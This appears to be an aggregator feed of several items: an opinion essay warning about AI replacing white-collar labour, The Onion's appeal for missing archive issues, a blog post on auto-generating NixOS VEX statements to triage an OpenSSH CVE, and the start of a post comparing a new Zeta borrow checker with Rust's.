So, what if this technology really delivers as promised? What if a nuclear-armed cyborg parrot is sufficient to replace almost all white-collar labor? Well, that is actually the idea after all. It does currently, even in its limited capacity, have the potential to reduce/remove plenty of white-collar labor. The realistic idea is that over the next few decades, the promise of AI along its present trajectory will deliver "good enough" results to eliminate large portions of the white-collar labor pool, meanwhile robotics catches up and becomes more viable/cost-effective at scale to replace more of the blue-collar labor. You might have noticed that the US is going out of its way to over-fund prisons, under-fund education, and re-inflate birth rates. Let's not draw any hard conclusions here, but let's speculate: you might do such a thing if you anticipated more of a need for feckless prison-labor meat sacks in 30 years, rather than a well-educated working middle class.

Now let's go back from speculation to conclusion: we know how industrial revolution works. We know that productivity wins don't go to workers, and that living standards of the average working-class citizen aren't truly commensurate (you'd have to really stretch) to any factor including or in between "surplus labor" and "GDP". Traditionally, living standards go up when the working class can muster enough leverage to demand it. If only escaping and dispersing into barbarian tribes were still an option, oh sweet lord if only. So if this form of AI does deliver and manages to spark a real industrial revolution, what happens to the working class in a society where almost all essential labor has been automated, where that entire class no longer has any leverage at all?

It's a true utopia where everyone has their needs met and no one has to work anymore unless they want to! THAT'S WHAT IT IS, NO, SHUT UP, I'M TELLING YOU THAT'S WHAT IT IS.

No, of course, you can kind of put things together here. You may have noticed that some scientists have been jumping around and screaming about climate change for some decades now, while politicians on the left promise to address those concerns and politicians on the right promise those concerns are overblown. In reality, everyone on every side (except for the genuinely clueless people) understands those concerns are valid. What is less commonly known, but is indeed the quiet part out loud, is that the timeline for climate change to start mattering lines up really nicely with the timeline for human labor to stop mattering quite as much. The hope of the Elons and Sams of the world is that this will come to fruition well enough that we only have to bother sustaining the "cream of the crop" in the labor force, who will generally be occupied full-time by stepping all over each other to keep their heads above water.

So basically the plan here is to let things go to shit, and when billions of people die as a natural consequence of that, things will keep running as desired. This may seem like crazy talk, we couldn't possibly have a world order in place which is monstrous enough to just go along on such a trajectory, could we?! BILLIONS?! But, well, I hate to break it to you, we've got enough well-charted markers on this one that we don't have to consider it conspiracy territory anymore. We crossed over from "that guy warning us about that stuff is fuckin' CRAZY" to "oh yeah that shit is almost certainly happening, whoops" territory a while ago, maybe a good decade or two depending on which markers you're willing to put trust in. I do say "almost certainly" because nothing forecasted on such a level can be considered a certainty. In some ways it's far more impossible to predict than weather, but in some ways it's more reliable; many socioeconomic systems are designed to maintain predictability in chaos. Nonetheless, anything could happen to blow it all up. But I do feel pretty confident that, despite narrative attempts to the contrary, this is the prevailing attitude and the idea of "the way forward" being implemented by the wealthiest assholes in our society.

The counter-narratives these companies can launch in the face of every point I've made here are innumerable. I could set LLM's arguing against themselves over any one of the points I've made here and generate a tome. Almost no one wants to read as much as you'd have to read, to understand as much about our root civilization as you'd have to understand , to get to the root of what's really going on here. Very few people would even be capable. Trying to sway people to my conclusions as a means of political activism is an effective impossibility, by design of our mechanisms for the dissemination of information. Thus my hopelessness, but I'm still compelled to leave my protest and forecasts here.

The debate at this point should not be so much "should I use AI, or should I abstain?" There are plenty of ethical reasons to avoid it. There are plenty of practical reasons to use it. Not everyone has the ability to choose, and many employers are inflicting it on their employees whether those employees like it or not. At this point, my only reasonable wish is for as many people as possible, whether they choose to use it or not, to realize what it really is and how it has been brought into the world. You can use a product of terrible evil without hating yourself and without abandoning your knowledge of the evil involved; I do it every day by participating in the global supply chain of food products. Do what you must do to stay alive, but try to maintain awareness and help others to do the same.

You could consider this an opinion piece, but I think of it more as a conclusion piece. I've provided the conclusions, you can take my word for it (I generally advise against doing this for anyone on the Internet, except for me of course, my conclusions are definitely sound), you can follow the trail of bread crumbs backward for weeks and see if you survive the rabbit-gauntlet without being brought down by a conspiracy theorist, or you can look to people who are more vocal and probably have more patience for talking through bullshit than I do and who might have reached similar conclusions on some of the topics covered here.

This was crudely written in under 2 hours without the assistance, analysis, or hardening of an LLM, and with no editorial treatment whatsoever. I think this is how everyone should be writing in an age of shitty, sterilized parrot regurgitation. Now, let us enjoy the end, however it may come.

Comments

0 comments in total.
Post a comment

Post a comment

Be The Onion's Hero for Once

Hacker News
mailchi.mp
2026-10-11 15:43:32
Comments...
Original Article

Greetings, Gentle Member.

The Onion prides itself on being a self-sufficient entity, even going so far as to making our own pens that use the EZ-flowing blood of interns as ink. Now, however, we are asking for your assistance.

Certain issues of The Onion newspaper are mysteriously missing from our 270-year archive, and you might be able to help us recover them.

Here are the issues we're looking for:

  • All of Vol. 14 (1988)

  • All of Vol. 15 (1989)

  • All of Vol. 16 (1989)

  • All of Vol. 17 (1990)

  • All of Vol. 18 (1990)

  • All of Vol. 19 (1991)

  • Vol. 21 Issue 12 (1992)

  • Vol. 22 Issues 4, 5, 7, & 16 (1992)

  • Vol. 29 Issues 19 & 22 (1996)

  • Vol. 33 Issue 9 (1998)

  • Vol. 39 Issue 5 (2003)

  • Vol. 42 Issue 5 (2006)

  • Vol. 44 Issues 49-52 (2008)

  • Vol. 45 Issues 1-20 & 33-43 (2009)

  • Vol. 46 Issues 3-52 (2010)

  • All of Vol. 47 (2011)

  • All of Vol. 48 (2012)

  • All of Vol. 49 (2013)

If you have any of these issues and are willing to part with them, we’d potentially be interested in purchasing them from you so that they can be properly archived.

Complete this form if you have issues in your possession that fill these gaps.

Do You Have Pre-2012 Onion Issues?

Hacker News
theonion.com
2026-10-11 15:43:32
Comments...
Original Article

The Unreasonable Effectiveness of Vex in NixOS

Hacker News
blog.kammel.dev
2026-10-11 15:23:07
Comments...
Original Article
  • Sun, Oct 11, 2026
  • 7-minute read

Triggered by the flood of LLM-assisted vulnerability reports this year, we have heard a lot about the struggles that maintainers of popular (open-source) projects face to cope with them. Most projects have slowed down feature development to focus on vulnerability triage; others are still looking for ways to combat the flood itself.

While we tend to hear many reports from maintainers, we have heard less about the people on the other side of the process: SysAdmins, SREs and AppSec teams are equally struggling with the same flood. New (potentially unpatched) CVEs are popping up each day. Each CVE needs to be assessed, and affected software needs to be updated or manually patched.

If you spend any time in this space, it doesn’t take long for you to hear about VEX documents and statements. VEX stands for Vulnerability Exploitability eXchange: a machine-readable security advisory that tells you whether a specific software product is actually exposed to a known vulnerability.

Sounds great! But can we actually generate these statements in an automated way to support a scalable vulnerability triage process? The answer is, as always: it depends.

SBOM-Based Scanning

Let’s take a look at a security process that is used in many projects and organizations today.

Given a simple Go program:

package main

import (
	"fmt"

	"golang.org/x/text/width"
)

func main() {
	fmt.Println(width.Widen.String("hello, world"))
}

Using v0.38.0 of the golang.org/x/text library:

module maybe-vulnerable

go 1.26.8

require golang.org/x/text v0.38.0

A common approach to scan a program for vulnerabilities is to:

  1. Generate a Software Bill of Materials (SBOM)
  2. Scan the components noted in the SBOM for known vulnerabilities

Every team using this approach will see the following vulnerabilities (as of 11 Oct 2026):

$ syft scan . -o cyclonedx-json > sbom.cdx
$ grype sbom:sbom.cdx
NAME               INSTALLED  FIXED IN  TYPE       VULNERABILITY  SEVERITY  EPSS         RISK
golang.org/x/text  v0.38.0    0.39.0    go-module  GO-2026-5970   High      0.5% (39th)  0.4
golang.org/x/text  v0.38.0    0.41.0    go-module  GO-2026-6629   High      0.3% (24th)  0.3

If we do the legwork though, we can see that neither vulnerability actually affects our program.

GO-2026-5970 only exists in the golang.org/x/text/unicode/norm package, and GO-2026-6629 only exists in the golang.org/x/text/secure/precis package. Neither of them is used in our program!

We could take this information and craft two VEX statements stating vulnerable_code_not_present , but there are two issues with this:

  1. This manual process scales with the size of your codebase and the number of dependencies.
  2. You have to repeat the full analysis every time you change your code , because you might start to use a vulnerable function.

Reachability Analysis

Luckily for us, programming languages are highly structured, so it is easy (for machines anyway) to reason about them.

On top of that, the Go team is very diligent in their work and record every affected import path and symbol, using the ecosystem_specific field , when a new vulnerability is documented.

This is what powers govulncheck . It uses static analysis of our source code and the Go vulnerability database to narrow down reports to only those that could affect the application. Running it on our sample application shows:

$ govulncheck .
=== Symbol Results ===

No vulnerabilities found.

Your code is affected by 0 vulnerabilities.
This scan also found 1 vulnerability in packages you import and 14 vulnerabilities in
modules you require, but your code doesn't appear to call these vulnerabilities.

If you have this power, you could conceivably turn off Dependabot , and only patch when affected.

This Breaks Down for Operating Systems

Let’s see how this would work for an operating system. We use this Dockerfile:

FROM debian:trixie@sha256:913f6706df59a68922d1dd08f78c2476560a8d367897200a6005b00e5f67c2d5
RUN apt-get update \
 && apt-get install -y --no-install-recommends openssh-server \
 && mkdir -p /run/sshd \
 && rm -rf /var/lib/apt/lists/*

And then scan as before:

$ docker build -t opensshpam .
$ syft scan docker:opensshpam -o cyclonedx-json > sbom.cdx
$ grype sbom:sbom.cdx
✔ Scanned for vulnerabilities     [284 vulnerability matches]
  ├── by severity: 3 critical, 65 high, 80 medium, 39 low, 97 negligible
  └── by status:   0 fixed, 284 not-fixed, 0 ignored
NAME             INSTALLED            FIXED_IN   TYPE  VULNERABILITY   SEVERITY    EPSS          RISK
[...]
openssh-server   1:10.0p1-7+deb13u4              deb   CVE-2007-2768   Negligible  8.6% (94th)   0.4
[...]

For this demo we will focus on the triage process for a single vulnerability CVE-2007-2768 , and leave the remaining 283 as an exercise for the reader. 🫠

The long and short of it is that if sshd uses OPIE one-time passwords through PAM, an attacker can tell from the login prompt whether a username exists. It’s been unfixed upstream since 2007.

Manually checking our sshd configuration, we can see that PAM is enabled, but keyboard-interactive authentication is disabled, and that is the only way sshd hands a login prompt to PAM.

$ docker run --rm opensshpam sh -c 'sshd -T | grep -E "^(usepam|kbdinteractiveauthentication) "'
usepam yes
kbdinteractiveauthentication no

Furthermore, we can see that no module named opie is configured.

$ docker run --rm opensshpam grep -E '^(@include|auth)' /etc/pam.d/sshd /etc/pam.d/common-auth
/etc/pam.d/sshd:@include common-auth
/etc/pam.d/sshd:@include common-account
/etc/pam.d/sshd:@include common-session
/etc/pam.d/sshd:@include common-password
/etc/pam.d/common-auth:auth     [success=1 default=ignore]      pam_unix.so nullok
/etc/pam.d/common-auth:auth     requisite                       pam_deny.so
/etc/pam.d/common-auth:auth     required                        pam_permit.so
$ docker run --rm opensshpam sh -c 'find / -xdev -name "pam_opie*" 2>/dev/null; dpkg -l | grep -i opie'
# nothing is printed

Doing this for 283 more vulnerabilities on every configuration change is not feasible!

The Unreasonable Effectiveness of NixOS

Now, what makes NixOS different? Let’s consider this system, which is very close to the Docker-based OS example we had before:

{
  fileSystems."/" = {
    device = "/dev/sda1";
    fsType = "ext4";
  };
  boot.loader.grub.device = "nodev";
  system.stateVersion = "26.11";

  services.openssh.enable = true;
  services.openssh.settings.KbdInteractiveAuthentication = false;
}

With the following flake:

{
  inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";

  outputs =
    { nixpkgs, ... }:
    {
      nixosConfigurations.sshd = nixpkgs.lib.nixosSystem {
        system = "x86_64-linux";
        modules = [
          ./configuration.nix
        ];
      };
    };
}

Replacing syft with sbomnix , we can run the same process as before:

$ sbomnix .#nixosConfigurations.sshd.config.system.build.toplevel
[...]
INFO     Wrote: sbom.cdx.json
$ grype sbom:sbom.cdx.json
✔ Scanned for vulnerabilities     [272 vulnerability matches]
  ├── by severity: 14 critical, 84 high, 152 medium, 22 low, 0 negligible
  └── by status:   147 fixed, 125 not-fixed, 0 ignored
NAME        INSTALLED    FIXED_IN   TYPE  VULNERABILITY   SEVERITY    EPSS          RISK
[...]
openssh     10.5p1                  nix   CVE-2007-2768   Medium      8.6% (94th)   4.0
[...]

Finally, we have arrived at the payoff. As we learned before, CVE-2007-2768 only affects our systems when certain conditions hold, and NixOS allows us to codify those!

Not only that, but we can conditionally generate a VEX feed, keeping the VEX statement only if the conditions still hold:

{
  config,
  lib,
  pkgs,
  ...
}:
let
  notAffected =
    !(pkgs ? opie)
    && config.services.openssh.settings.KbdInteractiveAuthentication == false
    && !(lib.any (rule: rule.enable && lib.hasInfix "opie" rule.modulePath) (
      lib.attrValues config.security.pam.services.sshd.rules.auth
    ));
in
{
  system.build.vex = pkgs.writeText "vex.json" (
    builtins.toJSON {
      "@context" = "https://openvex.dev/ns/v0.2.0";
      "@id" = "https://kammel.dev/vex/sshd";
      author = "Fabian Kammel";
      timestamp = "2026-10-11T00:00:00Z";
      version = 1;
      statements = lib.optional notAffected {
        vulnerability.name = "CVE-2007-2768";
        products = [ { "@id" = "pkg:nix/openssh"; } ];
        status = "not_affected";
        justification = "vulnerable_code_not_present";
      };
    }
  );
}

Integrating this into our process:

$ VEX=$(nix build --no-link --print-out-paths .#nixosConfigurations.sshd.config.system.build.vex)
$ grype --vex $VEX sbom:sbom.cdx.json
 ✔ Scanned for vulnerabilities     [271 vulnerability matches]
   ├── by severity: 14 critical, 84 high, 152 medium, 22 low, 0 negligible
   └── by status:   147 fixed, 125 not-fixed, 1 ignored

The triaged CVE is now successfully ignored.

nixos-vex

As you can see, building out these conditions is a lot of work, but the payoff is enormous. Once a CVE has been triaged and codified, the cost to re-check is close to zero (a little bit of CI overhead).

I have been doing this sort of triaging work for my NixOS machines, and I have open-sourced this as nixos-vex .

Check out the demos for a sample desktop and server profile, as they also highlight some other features built into nixos-vex.

I would not recommend using this as a high-trust data source yet!

My goal is to share the process, invite feedback, and hopefully contribute this back to the Nix ecosystem at some point.

The next-gen borrow checker, a drop-in replacement for Rust borrow checking

Lobsters
gist.github.com
2026-10-11 15:21:16
Comments...
Original Article

The next-gen borrow checker, a drop-in replacement for Rust borrow checking.

Oct 9 2026 -- Eyad Amr -- GitHub -- Discord

Disclaimer: 0% of this article was written by any tool or artificial intelligence.

Introduction

Ladies and gentlemen. Have you ever been kicked in the head by a donkey ? Well most of us (hopefully) have not been literally kicked in the head by any animal, but if we talk about this figuratively, you've faced the many amounts of:

For most of us; this is something we can't do much about. But for the minority of us, and specifically the insane people like me, we get so frusturated we want to do something like building an entirely new programming language (in this case, it would be my language Zeta) that "is easier than Rust".

Obviously, if you're going to say you're going to make a language that's "easier to use than Rust while being the same performance", you'll get one of these 4 reactions:

  • "That's extremely ambitious."
  • "Are you out of your mind?"
  • "This wouldn't work."
  • insert 50 questions

I'm making a new language, and it's generally for a lot of reasons, but my personal favorite is to fix many of the Rust borrow checker's restrictions that can actually hurt productivity by blocking valid memory patterns and forcing the user into doing (usually more than necessary) workarounds like adding runtime checks or unsafe , without losing on performance guarantees

Why?

To appreciate the solution, you must first understand the problem.

You can fully skip this to the Background section (or even the main model itself) if you know how a Rust borrow checker works, but for the people who don't; here's a brief explanation. The rust borrow checker is a way to write memory safe code through the sophisticated engineering of many concepts, most importantly:

  • Ownership
  • Library-discipline to create proper drops and safely abstract low-level code.
  • shared-XOR-mutable

What I exactly mean by "library-discipline to create proper drops and safely abstract low-level code." is that the compiler does not guide you towards code which would otherwise require unsafe, or runtime checks + unsafe, such as writing complex Drop implementations or creating collections.

Ownership is the action of you owning a value, such as here:

let x = String::new(); // x now owns this String.
// This `drop` call now owns `x`.
// By the end of this call, it has been freed from memory.
drop(x);
use_value(x); // compiler error: use of moved value: x

This, and combining a type of pointers called references (which is an aligned, non-null, borrow-checked pointer, but we'll exclude the borrow checked part until we actually get to the borrow checker part) singlehandedly prevents double frees, use after frees, forgetting to free (when any variable or moved function parameter reaches the end of the block, the rust compiler does this automatically) and segfaults and UB from null dereferences (you need to use an Option , which is a safe way to abstract it) And this is the default model, so that means you can't implicitly copy something (collections, heap allocated memory, expensive stack allocated structs, etc) UNLESS its bits are easy to copy.

Data types that are easy and cheap to copy are pointers, immutable references (You should not be able to Copy &mut, even if it's cheap. Because it breaks the exclusivity guarantees it gives), any primitive and any struct that uses those things

If you don't know what a pointer is, it's basically how your computer knows where data lives in ram, so they're like addresses.

And if you're not a user of Rust, this means that you can only have 1 pointer that can be (deeply) mutated (translation to non-Rustacean: 1 pointer that can be mutated, you know your data has an address in your RAM, right? think of that address as your address. You have permitted only one to know where you live and how to enter your home, but you also gave them permission to move the furniture however you like), or infinite pointers that cannot be (deeply) mutated (translation: You have permitted infinite people to know where you live and how to enter your home, but they can only come see your home).

And if you're also not a rustacean, you may also be confused when I mention deep in (deeply) mutated . That's because if I were to do: let mut x: Vec3f = Vec3f { x: 1.0, x: 2.0, x: 3.0 }; , then I can change x and get mutable "pointers" to it and change x.x . But if you're coming from a language like Java or C, know that if you don't add mut , not only can you not change x directly and get mutable pointers to it, but you also can'tt change x.x or any other field.

But pointers aren't really what we talked about, in Rust, pointers are exactly like C pointers and are therefore unsafe and dangerous and can cause many bugs. The idiomatic rust approach is using references, which is borrow checked, non-null and aligned, everything that a pointer in C and Rust has no guarantees of, so we will speak only about references unless stated otherwise.

Sounds great for a language that can be used to write such low level programs right? well the borrow checker model makes it even greater.

The borrow checker has this general rule of "shared-XOR-mutable" where you can have only one &mut (mutable reference) or infinite immutable references & .

hink of it as literally borrowing the value, you don't own it so you must return it back at some point, but you currently can use it, and they will not outlive their value, and when it dies, you essentially "give back" the access to borrow it again.

The shared-XOR-mutable is a good rule in my opinion, but Rust is so conservative it makes it exhausting to constantly satisfy it.

As a result of this restriction, rust prevents arbitrary mutations and makes mutation explicit, it is also great for optimizations that require it so that you can only mutate a specific region of memory from one pointer, and not multiple , notably, allowing SIMD, allowing the compiler to hold stuff in registers longer, and more.

And finally, it is used for fearless concurrency. You must either prove that you are the only holder of a mutable reference ( &mut as we talked about, a mutable reference), it's all immutable, or you access the data which has a type of T , and T implements Send (Types that can be transferred across thread boundaries) + Sync (Types for which it is safe to share references between threads.

To understand this, we'll give this bit of code:

async fn foo() {
    let mut a = 10;
    let mut b = 20;

    thread::scope(|s| {
        s.spawn(|| {
            a += 1;
        });

        s.spawn(|| {
            b += 1;
        });
    });
}

Here, the closures (if you don't know what closures are, think of them like java lambdas) capture a and b as &mut , and since numbers are Send (P.S: It's a lot easier to prove references can be used in other threads, vs proving if they can be actually shared and mutated across threads) and we give exclusive references (and very important, we create a scope of threads, which joins all the threads created within that thread. If we spawned a thread directly, it may require 'static data). But if we were to use the same value:

async fn foo() {
    let mut a = 10;

    thread::scope(|s| {
        s.spawn(|| {
            a += 1;
        });

        s.spawn(|| {
            a += 1;
        });
    });
}

It will actually not compile due to a multiple borrow error .

The way to actually safely use a in parallel is to wrap it into an Mutex<_> like so:

async fn foo() {
    let mut a = Mutex::new(10);

    thread::scope(|s| {
        s.spawn(|| {
            *a.lock().unwrap() += 1;
        });

        s.spawn(|| {
            *a.lock().unwrap() += 1;
        });
    });
}

If you wanted to not use a scope for whatever reason, you must at least pair it with Arc like so:

async fn foo() {
    let a = Arc::new(Mutex::new(10));

    let value = a.clone();
    thread::spawn(move || {
        *value.clone().lock().unwrap() += 1;
    });

    let value = a.clone();
    thread::spawn(move || {
        *value.clone().lock().unwrap() += 1;
    });
}

Which atomically reference counts a and when the reference count hits 0, it automatically frees the memory as it's no longer used.

Well, what's to change about that?

Well, that all sounds good on paper, in reality, it's actually a lot harder to follow these rules, but very specifically shared-XOR-mutability

First of all, it's really hard to implement observers, intrusive data structures, back-references and graphs (like doubly-linked lists), delegates, some kinds of RAII (for example, Rust cant represent a C++ struct Rollbacker { Transaction* t; ~Rollbacker() { if (t) t->rollback(); } }; ), but I'd like to demonstrate why

(In Zeta, I have a third reference which is called &alias which allows for compiler-native, borrow checked shared mutability, and it's really ergonomic while still being completely safe from all kinds of errors, including use after frees by dangling, this "third" reference is explained later in the blog)

Anyways, here's an example:

let mut vec = Vec::with_capacity(1);
vec.push(1);
let x = vec.get(0);
vec.push(2); // cannot borrow vec as mutable because it is also borrowed as immutable. mutable borrow occurs here
println!("{}", x.unwrap());

This is actually a fair restriction, as the Vec can regrow and change the pointer, so x could be a use after free. This is a successful prevention of the borrow checker model.

But if we wanted to do something, and we have dared to make it more complex:

let mut vec = Vec::new();
vec.push(1);
vec.push(2);
vec.push(3);
let x = vec.get_mut(0);
let y = vec.get_mut(1); // cannot borrow vec as mutable more than once at a time. second mutable borrow occurs here
let z = vec.get_mut(2);
println!("{}", x.unwrap());
println!("{}", y.unwrap());
println!("{}", z.unwrap());

This is actually.. completely safe? Why would it reject it? 0 is clearly not 1 .. right?

Well yeah, but rust doesn't care about that.
It cares about the literal: "you can have only one &mut or infinite immutable references & ", and this completely memory safe pattern is a clear violation.

Well that's fine, we have let [x, y, z] = vec.get_disjoint_mut([0, 1, 2]).unwrap(); and we can write our code as so:

let mut vec = Vec::new();
vec.push(1);
vec.push(2);
let [x, y, z] = vec.get_disjoint_mut([0, 1, 2]).unwrap();
println!("{}", x);
println!("{}", y);
println!("{}", z);

Yes, you'd be correct. Except that get_disjoint_mut does an O(n^2) check, specifically, this is the rust internal check for it:

// The exact body of the function that Rust uses.
for (i, idx) in indices.iter().enumerate() {
    if !idx.is_in_bounds(len) {
        return Err(GetDisjointMutError::IndexOutOfBounds);
    }
    for idx2 in &indices[..i] {
        if idx.is_overlapping(idx2) {
            return Err(GetDisjointMutError::OverlappingIndices);
        }
    }
}

Notice how for every index, there's a completely new bound check which is 3 bound checks total, and a whopping 9 checks.
And don't forget about the error handling, the monomorphizations that happens for iter and enumerate and ..i , and after a total of 12 checks have been done.

It proceeds to execute an unsafe function as:

// SAFETY: The `get_disjoint_check_valid()` call checked that all indices
// are disjunct and in bounds.
unsafe { Ok(self.get_disjoint_unchecked_mut(indices)) }

Well, notice how there's a comment here:

#[inline]
fn get_disjoint_check_valid<I: GetDisjointMutIndex, const N: usize>(
    indices: &[I; N],
    len: usize,
) -> Result<(), GetDisjointMutError> {
    // NB: The optimizer should inline the loops into a sequence
    // of instructions without additional branching.

    ...
}

So LLVM has the opportunity to fully unroll the loop as it knows the number of elements, but it still needs to do all of the runtime checks regardless, especially if [0, 1, 2] were arbitrary [i, j, k] where constant folding will not apply (which is the most likely case scenario)

If you're a dedicated rustacean, you may think "but the CPU can actually do pipeline and execute all comparisons in parallel by the instruction-level", That's not always true, and even if it was, it's missing the poin.
A get_disjoint_mut is harder to implement (it needs discipline as you're forced to write some unsafe code), and the Zeta compiler itself can sometimes remove entire checks.
It doesn't just know the guarantees of get_disjoint_mut but literally how it works.

The CPU would have a better time with that whether or not it can do instruction-level parallelism.

Remember when I said "it needs discipline as you're forced to write some unsafe code" for get_disjoint_mut? In my book, that's a really big problem because making it easier to write APIs, even slightly, can save a lot of time.

This is one of Rust's core limitations, the compiler may reject your code if you were to implement, say, your Vec .. or your HashMap , or your SIMD , or your allocators, or your collections in general, or your drop calls to free memory, or safely handling uninitialized memory (not null memory, there's a difference).

You usually neeed to use unsafe to avoid the limitations of the borrow checker and implement those drop implementations and collections. Or if you want to avoid the borrow checker safely , you need more runtime checks.

I think I made some really good points, it's harder to create many kinds of collections, Drop implementations, you can imagine it's already harder than normal to create production-grade software that has a lot of state.

Let's take a look of a data structure such as a doubly linked list that is otherwise simple in literally every other language: (This is not a full linked list for simplicity)

use std::{cell::RefCell, rc::Rc};

struct ListNode<T> {
    item: T,
    next: Option<Rc<RefCell<ListNode<T>>>>,
    prev: Option<Rc<RefCell<ListNode<T>>>>,
}

impl<T> ListNode<T> {
    fn new(item: T) -> Self {
        Self {
            item,
            next: None,
            prev: None,
        }
    }
}

#[derive(Default)]
pub struct DoublyLinkedList<T> {
    head: Option<Rc<RefCell<ListNode<T>>>>;,
    tail: Option<Rc<RefCell<ListNode<T>>>>;,
    size: usize,
}

impl<T> DoublyLinkedList<T> {
    pub fn new() -> Self {
        Self {
            head: None,
            tail: None,
            size: 0,
        }
    }

    pub fn push_back(&mut self, item: T) {
        let node = Rc::new(RefCell::new(ListNode::new(item)));
        if let Some(prev_tail) = self.tail.take() {
            prev_tail.borrow_mut().next = Some(Rc::clone(&node));
            node.borrow_mut().prev = Some(prev_tail);
            self.tail = Some(node);
            self.size += 1;
        } else {
            self.head = Some(Rc::clone(&node));
            self.tail = Some(node);
            self.size = 1;
        }
    }

    pub fn pop_back(&mut self) -> Option<T> {
        self.tail.take().map(|prev_tail| {
            self.size -= 1;
            match prev_tail.borrow_mut().prev.take() {
                Some(node) => {
                    node.borrow_mut().next = None;
                    self.tail = Some(node);
                }
                None => {
                    self.head.take();
                }
            }
            Rc::try_unwrap(prev_tail).ok().unwrap().into_inner().item
        })
    }
}

impl<T> Drop for DoublyLinkedList<T> {
    fn drop(&mut self) {
        while let Some(node) = self.head.take() {
            let _ = node.borrow_mut().prev.take();
            self.head = node.borrow_mut().next.take();
        }
        self.tail.take();
    }
}

Eugh.. you can use stuff like type Link<T> = Option<Rc<RefCell<ListNode<T>>>>; to replace prev: Option<Rc<RefCell<ListNode<T>>>>, with prev: Link<T> , but that's hiding the core problem. This is a fully safe LinkedList, but it depends on several runtime checks such as: - Rc for a LOT of reference counting

  • RefCell which basically does borrow checking at runtime
  • awkward error handling such as Rc::try_unwrap(prev_tail).ok().unwrap().into_inner().item

And we have only implemented 2 functions.

Later, I'll show the exact same implementation in Zeta, and how it is simpler.

Still not convinced about the points I've made? what about this horrendous lifetime syntax from just a few lines of the zeta compiler that is written in Rust?

impl<'f, 'a, 'bump> FunctionLowerer<'f, 'a, 'bump>
where
    'bump: 'a,
{

'a is the general lifetime for most stuff, 'bump is the lifetime of the bump allocators and any bump allocated data, and 'f is the lifetime of the function being lowered, and how structs and usually functions have to be infested with them

pub struct FunctionLowerer<'f, 'a, 'bump> {
    pub(super) current_block_data: CurrentBlockData<'f>,
    pub(super) var_map: HashMap<StrId, Value>,
    pub(super) phantom_data: PhantomData<&'bump ()>,
    pub(super) loop_stack: Vec<LoopCtx<'a, 'bump>>,
    pub(super) funcs: &'a HashMap<StrId, Function>,
    pub(super) struct_field_offsets: &'a HashMap<StrId, HashMap<StrId, usize>>,
    pub(super) struct_method_slots: &'a HashMap<StrId, HashMap<StrId, usize>>,
    pub(super) struct_mangled_map: &'a HashMap<StrId, HashMap<StrId, StrId>>,
    pub(super) struct_vtable_slots: &'a HashMap<StrId, Vec<StrId>>,
    pub(super) interface_id_map: &'a HashMap<StrId, usize>,
    pub(super) interface_method_slots: &'a HashMap<StrId, HashMap<StrId, usize>>,
    pub(super) structs: &'a HashMap<StrId, HirStruct<'a, 'bump>>,
    pub(super) enum_variant_tags: &'a HashMap<StrId, HashMap<StrId, usize>>,
    pub(super) enums: &'a HashMap<StrId, HirEnum<'a, 'bump>>,
    pub(super) context: Arc<StringPool>,
    pub(super) extern_c_names: &'a HashSet<StrId>,
    pub(super) dep_graph: &'a RefCell<DepGraph>,
    pub(super) module_idx: usize,
    pub(super) return_type: Option<HirType<'a, 'bump>>,
    pub(super) global_funcs: &'a HashMap<StrId, Function>,
    pub(super) scope_stack: Vec<DropScope<'a, 'bump>>,
    pub(super) drop_state: DropMoveState<'a, 'bump>,
    pub(super) glue_registry: &'a DropGlueRegistry,
    pub(super) allocator_kind: &'a HashMap<StrId, AllocatorKind>,
    pub(super) interface_methods: &'a HashMap<StrId, Vec<(StrId, Vec<SsaType>, SsaType)>>,
    pub(super) bump: &'bump GrowableBump<'bump>,
    pub(super) module_import_aliases: &'a HashMap<usize, HashMap<StrId, usize>>,
    pub(super) module_named_imports: &'a HashMap<usize, HashMap<StrId, usize>>,
    pub(super) constants: &'a HashMap<StrId, HirExpr<'a, 'bump>>,
    pub(super) promoted_to_stack: HashSet<StrId>,
    pub(super) narrowed_fields: HashMap<(StrId, Vec<StrId>), Value>,
    pub(super) nullable_owned_locals: HashMap<StrId, HirType<'a, 'bump>>,
    pub(super) array_flags: HashMap<StrId, (Value, usize)>,
}

And don't ever get me started on more complex stuff such as higher-ranked trait bounds.

I can't practically show you the exact equivalent of what it'd look like in Zeta, as there is no real software built in Zeta. There is a doubly linked list that I will be showcasing in the second half of the blog though! which uses references with inferred 'lifetimes'.

let mut function = self
    .module
    .functions
    .remove(&hir_fn.name)
    .expect("function signature should already be registered");

let mut fl = FunctionLowerer::new(
    &mut function,

In my code, this was the best way to get a &mut to the function I needed to lower, I needed to get the function by REMOVING it to retain ownership, and then putting it back after lowering the function.

Why couldn't I just take it? well that's because I already have the self.module.functions immutably borrowed for the FunctionLowerer to use, even though it has literally nothing to do with the data itself.

It's actually safe to have an immutable borrow to a struct, while having a mutable borrow to the contents of that struct, like so:

let v: Vec3f = Default::default();
let x = &mut v.x;
let y = &v;

This is basically the example I showed at the start of the blog.

And this same example works perfectly fine in the Zeta borrow checker. It's because of Zeta's disjointness proofs that directly make it impossible to get &v.x at the same time as &mut v.x , which I'll get to in just a second.

Background

We're done with how the borrow checker works and why it's so restrictive and conservative, now how have I even came up with this?

Well I'm actually really fresh into the memory safety models compared to many other PhDs and other researchers, but I have spent 2 consecutive years designing the perfect memory safety, from a borrow checker, and after a while, I ended up going a full circle back to a borrow checker, just not the Rust-style borrow checker.

More than a year ago, I have actually dedicated to implementing something called "compile-time refcounting", and even before that, it was "region based memory management". Both have failed in their implementations, but this borrow checker has been fully implemented and fully tested at the time of writing this, except for the fact that it doesn't support async (disclaimer: at the time of writing this)

Then on 8/28/2025, I have seen a mysterious link from a brilliant compiler engineer I've looked up to because I thought he was the most innovative of that time. It was a link for group borrowing. https://verdagon.dev/blog/group-borrowing I won't go too much into detail for group borrowing, so you should check it out, they are trying to achieve the same results as me in a vastly different way. but it seemed so cool , I wanted to implement it, but then I quickly asked myself, "why NOT exclusivity"?

I thought to myself, I had all the time in the world, why not try checking borrow checkers again? and I heavily hyperfocused on the topic

Then I started asking my self questions that today seems like it was just hiding in plain sight. Why couldn't I just do &mut list[i] and &mut list[j] at the same time if i != j ?

I got a surge of dopamine thinking about the idea and I rushed to research it, and many months into realizing, could I make a new borrow checker entirely with no flaws? From then, the journey began, and in 7/14/2026, almost a full year, not only had I released the first release of my language, it was also the first release to feature my borrow checker

The fun part

We're going to start off with the base, first, it is an "shared-XOR-mutable" borrow checker, and it has 3 reference kinds. &mut, &alias and and immutable references
(fun fact: I was not programming at that time, and thought about &alias randomly while chit chatting about my language cities away from my PC and supposed to enjoy life on the beach. The more you know!)
